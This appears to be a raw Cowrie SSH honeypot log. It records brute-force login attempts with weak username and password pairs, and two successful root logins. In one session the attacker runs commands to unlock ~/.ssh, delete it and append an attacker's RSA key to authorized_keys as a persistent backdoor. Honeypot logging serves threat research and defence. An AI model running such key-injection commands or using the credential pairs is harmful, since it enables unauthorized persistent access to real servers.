{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:23.280468Z","src_ip":"2.57.122.238","session":"83b608bc26b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:23.598076Z","src_ip":"2.57.122.238","session":"83b608bc26b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:24.706903Z","src_ip":"2.57.122.238","session":"83b608bc26b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":44376,"dst_ip":"159.203.135.109","dst_port":22,"session":"84b8780600bb","protocol":"ssh","message":"New connection: 101.44.96.62:44376 (159.203.135.109:22) [session: 84b8780600bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:25.178273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:25.182946Z","src_ip":"101.44.96.62","session":"84b8780600bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:25.403800Z","src_ip":"101.44.96.62","session":"84b8780600bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:26.057209Z","src_ip":"101.44.96.62","session":"84b8780600bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:27.279017Z","src_ip":"101.44.96.62","session":"84b8780600bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":59196,"dst_ip":"159.203.135.109","dst_port":22,"session":"5aa96a9fdd94","protocol":"ssh","message":"New connection: 85.198.97.85:59196 (159.203.135.109:22) [session: 5aa96a9fdd94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:38.458035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:38.462291Z","src_ip":"85.198.97.85","session":"5aa96a9fdd94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":59622,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c399bb4cd9c","protocol":"ssh","message":"New connection: 101.44.96.62:59622 (159.203.135.109:22) [session: 3c399bb4cd9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:38.628855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:38.634002Z","src_ip":"101.44.96.62","session":"3c399bb4cd9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:38.851781Z","src_ip":"101.44.96.62","session":"3c399bb4cd9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"steam","password":"123456","message":"login attempt [steam/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:39.505929Z","src_ip":"101.44.96.62","session":"3c399bb4cd9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:40.727135Z","src_ip":"101.44.96.62","session":"3c399bb4cd9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.13.126.219","src_port":37144,"dst_ip":"159.203.135.109","dst_port":22,"session":"65e55d2a47f0","protocol":"ssh","message":"New connection: 45.13.126.219:37144 (159.203.135.109:22) [session: 65e55d2a47f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:43.087388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:43.106188Z","src_ip":"45.13.126.219","session":"65e55d2a47f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:43.434155Z","src_ip":"45.13.126.219","session":"65e55d2a47f0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"xx123456","message":"login attempt [root/xx123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:44.825758Z","src_ip":"45.13.126.219","session":"65e55d2a47f0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:45.563359Z","src_ip":"45.13.126.219","session":"65e55d2a47f0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:45.567376Z","src_ip":"45.13.126.219","session":"65e55d2a47f0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:45.571888Z","src_ip":"45.13.126.219","session":"65e55d2a47f0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:45.930340Z","src_ip":"45.13.126.219","session":"65e55d2a47f0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:46.667964Z","src_ip":"45.13.126.219","session":"65e55d2a47f0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:46.671299Z","src_ip":"45.13.126.219","session":"65e55d2a47f0","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:47.021260Z","src_ip":"45.13.126.219","session":"65e55d2a47f0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:47.025193Z","src_ip":"45.13.126.219","session":"65e55d2a47f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.13.126.219","src_port":37150,"dst_ip":"159.203.135.109","dst_port":22,"session":"e36fb9f41b09","protocol":"ssh","message":"New connection: 45.13.126.219:37150 (159.203.135.109:22) [session: e36fb9f41b09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:47.363161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:47.368529Z","src_ip":"45.13.126.219","session":"e36fb9f41b09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:47.729911Z","src_ip":"45.13.126.219","session":"e36fb9f41b09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:49.126327Z","src_ip":"45.13.126.219","session":"e36fb9f41b09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:50.477340Z","src_ip":"45.13.126.219","session":"e36fb9f41b09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.13.126.219","src_port":58574,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b3afbd6b462","protocol":"ssh","message":"New connection: 45.13.126.219:58574 (159.203.135.109:22) [session: 4b3afbd6b462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:50.810232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:50.815653Z","src_ip":"45.13.126.219","session":"4b3afbd6b462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:51.170009Z","src_ip":"45.13.126.219","session":"4b3afbd6b462","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":37916,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d067209d272","protocol":"ssh","message":"New connection: 101.44.96.62:37916 (159.203.135.109:22) [session: 2d067209d272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:52.058871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:52.063987Z","src_ip":"101.44.96.62","session":"2d067209d272","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:52.281750Z","src_ip":"101.44.96.62","session":"2d067209d272","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:52.593413Z","src_ip":"45.13.126.219","session":"4b3afbd6b462","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:52.940422Z","src_ip":"45.13.126.219","session":"4b3afbd6b462","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:52.945271Z","src_ip":"101.44.96.62","session":"2d067209d272","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:52.948729Z","src_ip":"45.13.126.219","session":"65e55d2a47f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:54.166613Z","src_ip":"101.44.96.62","session":"2d067209d272","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":45556,"dst_ip":"159.203.135.109","dst_port":22,"session":"92ab17c00f69","protocol":"ssh","message":"New connection: 101.44.96.62:45556 (159.203.135.109:22) [session: 92ab17c00f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:41:05.493913Z"}
